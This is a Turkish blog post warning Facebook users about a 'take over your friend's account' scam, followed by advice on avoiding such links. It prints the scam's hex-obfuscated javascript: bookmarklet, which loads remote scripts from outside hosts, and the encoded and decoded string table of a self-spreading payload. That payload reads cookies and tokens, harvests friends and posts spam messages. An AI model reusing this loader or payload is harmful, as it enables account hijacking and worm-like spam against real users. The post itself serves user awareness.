Facebook hesabini ele gecir ! virusu hakkinda

Gün geçmiyor ki,yeni bir facebook vakası ile karşılaşmayalım.. Yeni bir virüs yazmışlar,biraz aşağıdaki resimden de görebileceğiniz gibi,"başkasını facesini hacklemek","arkadaşın facebook hesabını hacklemek", üzerine site bile açmışlar, "Arkadasinin Fb Hesabini Ele Gecir!" diye etkinlikler oluşturmuşlar.Eğer böyle bir siteye girdiyseniz, hemen, daha bu yazının devamını bile okumadan şifrelerinizi değiştirin,yoksa üzerine bir bardak soğuk su içmek zorunda kalırsınız :)
Evet nerde kalmıştık ?
javascript kodu ile başkasının hesabını böyle programla,bilmem sitelerle hackleneceğini sanan aciz insanların hesabını hackliyorlar aslında :D "Ava giden avlanır" derler ya hani.. O misal..
Bahsettiğim görsel şu;

Bazen bu linkleri size bir etkinlik kurarak ulaştırıyorlar.Hadi kaç kişi profilini ziyaret etmiş,anında öğren ! yapmak gereken tek şey şurada denilenleri yapmak.. diye başlıyor virüsün yolculuğu..

Bahsi geçen siteye girdiğinizde içinde Javascript kodu yazılmış bir alan görüyorsunuz..Link şöyle bişi oluyor genelde.www.facebook.com/My_Malware_JS_code.

(Aşağıdaki resim ilk başta görüntülenen resmin başka bir dildeki versiyonudur.)troubleshooter01.blogspot.com

Javascript kodunun  HexaDecimal (16) ile şifrelendiğini görebilirsiniz.troubleshooter01.blogspot.com

1	javascript: var _0x80be=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74",

2	"\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74",

3	"\x2F\x2F\x69\x61\x62\x65\x6C\x6F\x2E\x63\x6F\x6D\x2F\x65\x2E\x6A\x73",

4	"\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];

5	(a=(b=document)[_0x80be[2]](_0x80be[1]))[_0x80be[0]]=_0x80be[3];b[_0x80be[5]][_0x80be[4]](a); void (0);

Neler olup bittiğini biraz daha iyi anlamak için  kodu hex ten karakterlere çevirelim..Ve sonuç;

1	javascript: var _0x80be=["srcscriptcreateElement","//iabelo.com/e.js","appendChild","body"];(a=(b=document)[_ [2]](_0x80be[1]))[_0x80be[0]]=_0x80be[3];b[_0x80be[5]][_0x80be[4]](a); void (0);

Bazı hekır arkadaşlar şifrelemeyi de bilmez,ama sayfa şöyle bir hal alıyor;TRouBLeSHooTeR

1	javascript:(a=(b=document).createElement('script')).src='//icalinko.com/styll.js',b.body.appendChild(a);void(0)

Daha sonra bu javascriptin başka bir siteden başka bir javascript kodu daha çağırdığını görüyoruz.

var _0x5c0f=["\x53\x61\x6C\x75\x74\x20\x25\x66\x69\x72\x73\x74\x6E\x61\x6D\x65\x25\x20\x20\x4A\x65\x20\x76\x69\x65\x6E\x73\x20\x64\x65\x20\x64\x65\x63\x6F\x75\x76\x72\x69\x72\x20\x71\x75\x65\x20\x76\x6F\x75\x73\x20\x65\x74\x69\x65\x7A\x20\x75\x6E\x20\x64\x65\x20\x6D\x65\x73\x20\x73\x70\x65\x63\x74\x61\x74\x65\x75\x72\x73\x20\x70\x72\x6F\x66\x69\x6C\x20\x68\x61\x75\x74\x2C\x20\x76\x6F\x75\x73\x20\x70\x6F\x75\x76\x65\x7A\x20\x74\x72\x6F\x75\x76\x65\x72\x20\x76\x6F\x74\x72\x65\x20\x65\x78\x65\x6D\x70\x6C\x61\x69\x72\x65\x20\x61\x20\x20\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x75\x6D\x70\x2E\x77\x73\x2F\x72\x6F\x63\x69\x62\x76","\x25\x74\x66\x25\x20\x25\x74\x66\x25\x20\x25\x74\x66\x25\x20\x25\x74\x66\x25\x20\x25\x74\x66\x25\x20\x25\x74\x66\x25\x0A\x77\x74\x66\x20\x67\x75\x79\x73\x2C\x20\x76\x6F\x75\x73\x20\x65\x73\x74\x20\x61\x70\x70\x61\x72\x75\x20\x63\x6F\x6D\x6D\x65\x20\x6C\x65\x20\x70\x65\x75\x70\x6C\x65\x20\x71\x75\x69\x20\x6D\x27\x61\x20\x6C\x65\x20\x70\x6C\x75\x73\x20\x74\x72\x61\x71\x75\x65\x2C\x20\x76\x6F\x75\x73\x20\x70\x6F\x75\x76\x65\x7A\x20\x76\x6F\x69\x72\x20\x76\x6F\x74\x72\x65\x20\x65\x78\x65\x6D\x70\x6C\x61\x69\x72\x65\x20\x61\x20\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x75\x6D\x70\x2E\x77\x73\x2F\x72\x6F\x63\x69\x62\x76","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x69\x61\x62\x65\x6C\x6F\x2E\x63\x6F\x6D\x2F\x65\x6E\x64\x2E\x70\x68\x70","\x4A\x27\x61\x69\x20\x61\x70\x70\x72\x69\x73\x20\x75\x6E\x65\x20\x66\x61\xE7\x6F\x6E\x20\x64\x65\x20\x76\x6F\x69\x72\x20\x71\x75\x69\x20\x63\x6F\x6E\x73\x75\x6C\x74\x65\x20\x76\x6F\x74\x72\x65\x20\x70\x72\x6F\x66\x69\x6C\x0A\x0A\x53\x75\x69\x76\x65\x7A\x20\x63\x65\x73\x20\xE9\x74\x61\x70\x65\x73\x20\x73\x69\x6D\x70\x6C\x65\x73\x20\x70\x6F\x75\x72\x20\x74\x72\x6F\x75\x76\x65\x72\x3A\x0A\x0A\x74\x6F\x75\x74\x20\x63\x65\x20\x71\x75\x65\x20\x76\x6F\x75\x73\x20\x61\x76\x65\x7A\x20\xE0\x20\x66\x61\x69\x72\x65\x20\x65\x73\x74\x20\x64\x27\x61\x6C\x6C\x65\x72\x20\x73\x75\x72\x20\x63\x65\x20\x6C\x69\x65\x6E\x20\x65\x74\x20\x73\x75\x69\x76\x65\x7A\x20\x6C\x65\x73\x20\x69\x6E\x73\x74\x72\x75\x63\x74\x69\x6F\x6E\x73\x20\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x75\x6D\x70\x2E\x77\x73\x2F\x72\x6F\x63\x69\x62\x76","\x56\x6F\x69\x72\x20\x71\x75\x69\x20\x61\x20\x63\x6F\x6E\x73\x75\x6C\x74\x65\x20\x76\x6F\x74\x72\x65\x20\x70\x72\x6F\x66\x69\x6C\x21","\x56\x6F\x75\x73\x20\x64\x65\x76\x72\x69\x65\x7A\x20\x76\x72\x61\x69\x6D\x65\x6E\x74\x20\x76\x65\x72\x69\x66\x69\x65\x72\x20\x63\x65\x6C\x61\x2E\x20\x49\x6C\x20\x66\x6F\x6E\x63\x74\x69\x6F\x6E\x6E\x65\x20\x76\x72\x61\x69\x6D\x65\x6E\x74\x21","\x43\x27\x65\x73\x74\x20\x6C\x65\x20\x6E\x6F\x75\x76\x65\x61\x75\x20\x63\x6F\x64\x65\x20\x71\x75\x65\x20\x74\x6F\x75\x74\x20\x6C\x65\x20\x6D\x6F\x6E\x64\x65\x20\x61\x20\x70\x61\x72\x6C\x65\x21","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x74\x6F\x70","\x47\x45\x54","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x73\x65\x6E\x64","\x2F","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x40\x5B","\x69\x64","\x3A","\x6E\x61\x6D\x65","\x5D","","\x26","\x3D","\x50\x4F\x53\x54","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x64\x69\x73\x70\x6C\x61\x79","\x73\x74\x79\x6C\x65","\x62\x6C\x6F\x63\x6B","\x70\x6F\x73\x69\x74\x69\x6F\x6E","\x61\x62\x73\x6F\x6C\x75\x74\x65","\x77\x69\x64\x74\x68","\x25","\x68\x65\x69\x67\x68\x74","\x6C\x65\x66\x74","\x70\x78","\x74\x65\x78\x74\x41\x6C\x69\x67\x6E","\x63\x65\x6E\x74\x65\x72","\x70\x61\x64\x64\x69\x6E\x67","\x34\x70\x78","\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64","\x23\x46\x46\x46\x46\x46\x46","\x7A\x49\x6E\x64\x65\x78","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x26\x6E\x62\x73\x70\x3B\x3C\x62\x72\x2F\x3E\x50\x6C\x65\x61\x73\x65\x20\x77\x61\x69\x74\x2C\x20\x74\x68\x69\x73\x20\x63\x61\x6E\x20\x74\x61\x6B\x65\x20\x61\x20\x6C\x69\x74\x74\x6C\x65\x20\x77\x68\x69\x6C\x65\x2E\x2E\x2E\x3C\x62\x72\x2F\x3E\x3C\x62\x72\x2F\x3E\x4F\x72\x20\x69\x66\x20\x79\x6F\x75\x20\x67\x65\x74\x20\x73\x69\x63\x6B\x20\x6F\x66\x20\x77\x61\x69\x74\x69\x6E\x67\x2C\x20\x79\x6F\x75\x20\x63\x61\x6E\x20\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x76\x6F\x69\x64\x28\x30\x29\x3B\x22\x20\x6F\x6E\x63\x6C\x69\x63\x6B\x3D\x22\x77\x66\x3D\x30\x3B\x20\x6D\x66\x28\x29\x3B\x22\x3E\x63\x6C\x69\x63\x6B\x20\x68\x65\x72\x65\x3C\x2F\x61\x3E\x20\x28\x72\x65\x73\x75\x6C\x74\x73\x20\x6D\x61\x79\x20\x62\x65\x20\x6C\x65\x73\x73\x20\x61\x63\x63\x75\x72\x61\x74\x65\x29","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x64\x61\x74\x61","\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64","\x6E\x61\x76\x41\x63\x63\x6F\x75\x6E\x74\x4E\x61\x6D\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3F","\x2F\x61\x6A\x61\x78\x2F\x63\x68\x6F\x6F\x73\x65\x2F\x3F\x5F\x5F\x61\x3D\x31","\x65\x76\x65\x6E\x74","\x41\x73\x79\x6E\x63\x52\x65\x71\x75\x65\x73\x74","\x2F\x61\x6A\x61\x78\x2F\x74\x79\x70\x65\x61\x68\x65\x61\x64\x2F\x66\x69\x72\x73\x74\x5F\x64\x65\x67\x72\x65\x65\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31\x26\x76\x69\x65\x77\x65\x72\x3D","\x26\x74\x6F\x6B\x65\x6E\x3D","\x26\x66\x69\x6C\x74\x65\x72\x5B\x30\x5D\x3D\x75\x73\x65\x72\x26\x6F\x70\x74\x69\x6F\x6E\x73\x5B\x30\x5D\x3D\x66\x72\x69\x65\x6E\x64\x73\x5F\x6F\x6E\x6C\x79\x26\x6F\x70\x74\x69\x6F\x6E\x73\x5B\x31\x5D\x3D\x6E\x6D\x26\x6F\x70\x74\x69\x6F\x6E\x73\x5B\x32\x5D\x3D\x73\x6F\x72\x74\x5F\x61\x6C\x70\x68\x61","\x6C\x65\x6E\x67\x74\x68","\x70\x75\x73\x68","\x67\x65\x74\x54\x69\x6D\x65","\x73\x65\x74\x54\x69\x6D\x65","\x67\x65\x74\x4D\x6F\x6E\x74\x68","\x67\x65\x74\x44\x61\x74\x65","\x67\x65\x74\x46\x75\x6C\x6C\x59\x65\x61\x72","\x67\x65\x74\x48\x6F\x75\x72\x73","\x2C","\x6A\x6F\x69\x6E","\x6F\x6E","\x43\x72\x65\x61\x74\x65\x20\x45\x76\x65\x6E\x74","\x6E\x65\x77","\x2F\x65\x76\x65\x6E\x74\x73\x2F\x63\x72\x65\x61\x74\x65\x2E\x70\x68\x70","\x2F\x61\x6A\x61\x78\x2F\x63\x68\x61\x74\x2F\x62\x75\x64\x64\x79\x5F\x6C\x69\x73\x74\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x73\x75\x62\x73\x74\x72","\x28","\x29","\x62\x75\x64\x64\x79\x5F\x6C\x69\x73\x74","\x70\x61\x79\x6C\x6F\x61\x64","\x6E\x6F\x77\x41\x76\x61\x69\x6C\x61\x62\x6C\x65\x4C\x69\x73\x74","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x25\x66\x69\x72\x73\x74\x6E\x61\x6D\x65\x25","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x66\x69\x72\x73\x74\x4E\x61\x6D\x65","\x75\x73\x65\x72\x49\x6E\x66\x6F\x73","\x72\x65\x70\x6C\x61\x63\x65","\x2F\x61\x6A\x61\x78\x2F\x63\x68\x61\x74\x2F\x73\x65\x6E\x64\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x2F\x61\x6A\x61\x78\x2F\x62\x72\x6F\x77\x73\x65\x72\x2F\x66\x72\x69\x65\x6E\x64\x73\x2F\x3F\x75\x69\x64\x3D","\x26\x66\x69\x6C\x74\x65\x72\x3D\x61\x6C\x6C\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x3D\x31","\x73\x68\x69\x66\x74","\x66\x65\x74\x63\x68\x65\x64\x20\x66\x72\x69\x65\x6E\x64\x73\x3A\x20","\x68\x6F\x6D\x65","\x70\x6F\x70","\x25\x74\x66\x25","\x73\x65\x61\x72\x63\x68","\x78\x68\x70\x63\x5F\x6D\x65\x73\x73\x61\x67\x65\x5F\x74\x65\x78\x74","\x78\x68\x70\x63\x5F\x6D\x65\x73\x73\x61\x67\x65","\x6D\x65\x73\x73\x61\x67\x65\x20\x74\x65\x78\x74\x3A\x20","\x2F\x61\x6A\x61\x78\x2F\x75\x70\x64\x61\x74\x65\x73\x74\x61\x74\x75\x73\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x70\x72\x6F\x66\x69\x6C\x65"]

Yine bu yukarıda Hex ile şifrelenmiş kodun, çözümleme işlemi yapıldığında karşımıza şöyle bir şey çıkıyor.

TRouBLeSHooTeR

var _0x5c0f=["Salut %firstname% Je viens de decouvrir que vous etiez un de mes spectateurs profil haut, vous pouvez trouver votre exemplaire a http://stump.ws/rocibv""%tf% %tf% %tf% %tf% %tf% %tf% wtf guys, vous est apparu comme le peuple qui m'a le plus traque, vous pouvez voir votre exemplaire a http://stump.ws/rocibv""http://www.iabelo.com/end.php""J'ai appris une façon de voir qui consulte votre profil Suivez ces étapes simples pour trouver: tout ce que vous avez à faire est d'aller sur ce lien et suivez les instructions http://stump.ws/rocibv" 'Voir qui a consulte votre profil!" "Vous devriez vraiment verifier cela. Il fonctionne vraiment!""C'est le nouveau code que tout le monde a parle!" "href" "location""top""GET" "open" "onreadystatechange""readyState""status""responseText" "send" "/" "match""cookie""@[""id"":""name""]""""&""=""POST""Content-Type" "application/x-www-formurlencoded""setRequestHeader""div""createElement""display" "style""block""position""absolute""width""%""height""left""px""textAlign""center""padding""4px""background""#FFFFFF""zIndex""innerHTML""  Please wait, this can take a little while... Or if you get sick of waiting, you can click here (results may be less accurate)" "appendChild""body""data""firstChild""navAccountName""getElementById""?""/ajax/choose/?__a=1""event""AsyncRequest" "/ajax/typeahead/first_degree.php?__a=1&viewer=" "&token=""&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha""length""push""getTime""setTime""getMonth""getDate""getFullYear""getHours"",""join""on""Create Event""new""/events/create.php""/ajax/chat/buddy_list.php?__a=1""substr""("")""buddy_list""payload""nowAvailableList""random""floor" "%firstname%""toLowerCase""firstName""userInfos""replace""/ajax/chat/send.php?__a=1""/ajax/browser/friends/?uid=""&filter=all&__a=1&__d=1""shift""fetched friends: ""home""pop""%tf%""search""xhpc_message_text""xhpc_message""message text: ""/ajax/updatestatus.php?__a=1""profile"];

 Virüsün hikayesi böyle,bu hikayeyi http://www.noktec.be/archives/653 sitesinden alıntı yaparak anlatmaya çalıştım.1e 1 çeviri değildir 

 TRouBLeSHooTeR 

Peki Nasıl Korunabilirim Bu Tür Virüslerden ?

•Sağda solda yazılan linklere hemen tıklamayın,önce linkin tipine bakın,size yabancı mı geliyorsa tıklamayın.
•Eğer tıklayacağınız şeyin gerçekten ne olduğunu biliyorsanız,linke tıklamadan önce bu işlerden anlayabilecek bir arkadaşınıza danışın
•Güncel bir antivürüsünüzün olması belki sizi koruyamayabilir/ korumalı / koruması gerekir.
•Eğer link ilginç bir başlığa sahipse, "bilmem ne lisesindeki kızın sex görüntüleri !" gibiyse, linkin apaçık virüs olduğu aşikardır zaten.TUZAKTIR düşmeyin.


Ama bilip bilmediğiniz linkleri tıklamamakta fayda var, bazen bir link sizin resimlerinize,özel bilgilerinize erişme hakkı tanıyabilir,bi başkası bilgilerinizi alabilir vs  bunun gibi bir çok şey meydana gelebilir açıkcası ve bunları elde eden birinin hayal gücüyle neler yapabileceğini tahmin edin..

http://troubleshooter01.blogspot.com/2011/04/facebook-hesabini-ele-gecir-virusu.html

Bu linki arkadaşlarınıza yollayın,onlarda haberdar olsun..

TRouBLeSHooTeR

.